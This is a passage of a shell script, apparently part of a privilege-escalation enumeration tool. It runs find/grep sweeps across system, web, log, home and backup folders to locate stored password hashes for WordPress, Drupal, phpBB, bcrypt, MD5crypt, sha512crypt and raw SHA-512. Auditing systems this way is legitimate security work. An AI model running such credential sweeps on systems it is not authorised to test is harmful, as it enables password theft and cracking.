timeout 120 find /private -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~"&
wait
print_3title "Searching Blowfish (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~"&
wait
print_3title "Searching Drupal (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~"&
wait
print_3title "Searching Joomlavbulletin (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~"&
wait
print_3title "Searching Linux MD5 (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
wait
print_3title "Searching phpbb3 (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
wait
print_3title "Searching sha512crypt (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~"&
wait
print_3title "Searching Wordpress (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~"&
wait
echo''
print_2title "Searching Raw Hashes"
print_3title "Searching sha512 (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~"&
